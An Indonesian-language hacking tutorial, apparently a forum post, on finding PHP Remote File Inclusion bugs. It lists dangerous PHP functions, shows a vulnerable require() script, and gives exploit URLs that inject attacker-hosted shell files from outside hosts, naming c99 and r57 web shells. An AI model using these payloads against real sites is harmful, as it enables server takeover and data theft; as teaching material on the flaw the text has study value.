—————————————————————-
———————[ Pendahuluan ]—————————-
—————————————————————-
Remote File Inclusion
http://www.milw0rm.com/exploits/2120
http://www.milw0rm.com/exploits/2379
http://www.milw0rm.com/exploits/1919
Remote Commands Execution
http://www.milw0rm.com/exploits/2370
http://www.milw0rm.com/exploits/2268
dan banyak lagi contoh yang lain…. ![]()
Diatas ini contoh dari aplikasi PHP (web) yang memiliki celah keamanan dengan methode tertentu,
Mungkin banyak dari kita yang menayakan(termasuk saya sendiri), bagaimana sech nemuin bug?,
bagaimana bisa seperti itu?, awalnya gmana?,dan lain sebagainya, dan banyak juga yang berkata,
itu karena Remote File Inclusion, itu karena XSS, itu karena SQL Injection,
itu karena lain hal dan sebagainya, namun Bagaimana semua itu bisa terjadi,
ingat!! semua ini berdasarkan logika bukan perasaan atau menduga, Semua ini Pasti!!
bukan khayalan atau Sulap belaka, bukan juga hanya sekedar menjalankan script yang sudah ada,
maka untuk itu saya mencoba disini bersama teman2 semua untuk belajar bersama,
edisi ini bertuliskan tentang PHP Code Execution, Command Execution, File Disclosure
mudah2an tulisan bisa memberikan yang berarti bagi kita semua dan bagi saya pribadi
Selamat Membaca ………………………. ![]()
—————————————————————-
———-[ Fungsi-fungsi yang menarik pada PHP ]—————
—————————————————————-
-> Code Execution:
require() – membaca file dan content lain sebagai code PHP secara lokal maupun remote
_once
include() – membaca file dan content lain sebagai code PHP secara lokal maupun remote
_once
eval() – interpret string as PHP code
preg_replace() – if it uses the /e modifier it interprets the replacement string as PHP code
-> Command Execution:
exec() – executes command + returns last line of its output
passthru() – executes command + returns its output to the remote browser
“ (backticks) – executes command and returns the output in an array
shell_exec() – executes command + returns output as string
system() – executes command + returns its output (much the same as passthru())
.can’t handle binary data
popen() – executes command + connects its output or input stream to a PHP file descriptor
-> File Disclosure:
fopen() – opens a file and associates it with a PHP file descriptor
readfile() – reads a file and writes its contents directly to the remote browser
file() – reads an entire file into an array
file_get_contents() – reads file into a string
diatas ini terdapat beberapa contoh PHP Functions yang menarik untuk kita ketahui dan pelajari,
karena dengan functions tadi kita bisa mengexploit web (PHP) dengan mudah, weks… sumpeh lo…
yup!! jika kita bisa menggunakan dan memanfaatkan nilai salah satu dari parameter yang ada
dan belum atau tidak di terdefine atau terfilter <—- binun ya… sama <> langsung ke praktek nya aja….. ![]()
—————————————————————-
—————-[ Contoh Script dan Exploit ]——————-
—————————————————————-
<–> require, require_once, include, include_once <–>
contoh script (test1.php)
—————————
<?php
require($theme . “/include/config.php”);
?>
————————–
Pesan kesalahan pada browser
————————–
Warning: main(%parameter%): failed to open stream: No such file or directory in %path% on line %x%
Warning: main(): Failed opening required ‘%parameter%’ (include_path=’%path%’) in %path%
on line %x%
————————–
exploit command (browser secara remote)
————————–
http://localhost/coba.php?theme=http://www.shellcmd.com/cmd.txt?
contoh real;
http://bugs.byethost32.com/test/test1.php?theme=http://k1tk4t.gigcities.com/php2l.txt <require
http://bugs.byethost32.com/test/test2.php?buka=http://k1tk4t.gigcities.com/php2l.txt <require_once
http://bugs.byethost32.com/test/test3.php?page=http://k1tk4t.gigcities.com/php2l.txt <include
http://bugs.byethost32.com/test/test4.php?inc=http://k1tk4t.gigcities.com/php2l.txt <include_once
”nb”
belum bisa karena server byethost “allow_url_fopen=off” jadi masih cari hosting lagi buat latihan bersama
bisa di lihat di http://bugs.byethost32.com/test/phpinfo.php
————————-
Pejelasan
———————-
pada file test1.php di line 3 bisa kita lihat bahwa $theme tidak terdefine terlebih dahulu,
sehingga dapat diperdayakan oleh user untuk memjalankan script code PHP yang telah di persiapkan
di server remote penyerang, ini yang disebut File Remote Inclusion….
kenapa File Remote,..karena file yang di jalankan pada sisi server tidak terletak pada lokal server tersebut,
namun secara remote.
cmd.txt <– berupa cmd shell untuk php bisa menggunakan yang sudah ada seperti c99 dan r57
Persyaratan System(php.ini)
———————-
register_globals=On
allow_url_fopen=On
pada server tersebut(test1.php)
———————-
Wacana
———————-
-dalam pencarian bug terkadang kita memukan hal yang aneh menurut kita,
yaitu knapa koq tidak bisa di exploit padahal teori telah benar,contoh script berikut
___testX.php___
<?php
include (“../config.php”);
include ($dir . “etc/bla/bla/bla.php”);
?>
___config.php___
<?php
$dir = “http://me.me/”
$theme = “template”
?>
kalo kita lihat script diatas file testX.php tidak kita bisa exploit,karenakan pada line 2 file testX.php,
membaca file config.php yang di dalamnya terdapat $dir=”http:/me.me/,sehingga $dir telah terdefine ke path tersebut.
jadi perlu diingat yaitu urutan line,lihat line sebelumnya dari line tersebut,sudah atau adakah file pendukung
yang mendefine $dir atau memblok user untuk mengakses langsung file testX.php
-teman saya bius aka home_edition2001 pernah menemukan sebuah script yang aneh,
koq script ini tidak bisa di inject padahal tidak terdifine sama sekali
___adv_analysis.php___
<?
require ($_SERVER["DOCUMENT_ROOT"].”/bitrix/modules/statistic/admin/adv_analysis.php”);
?>
yup script diatas tidak bisa di inject, adv_analysis.php?_SERVER[DOCUMENT_ROOT]=shell
knapa?..di karenakan _SERVER["DOCUMENT_ROOT"] <-ini adalah reserved.variables apa itu? baca link
http://www.php.net/manual/en/reserved.variables.php <— weew… ngeles neh.. hehehe masih newbie
_SERVER["DOCUMENT_ROOT"] = menyatakan dengan otomatis real path dari server tersebut
Bersambung…. masih nyari bahan lagi… mo ke toko buku dulu ya(nyariyangIndonesia)…..
hehehee…….
<(CommandExecution,FileDisclosure,danPendukungFunctionlainnya)>
—————————————————————-
———————–[ Penutup ]——————————
—————————————————————-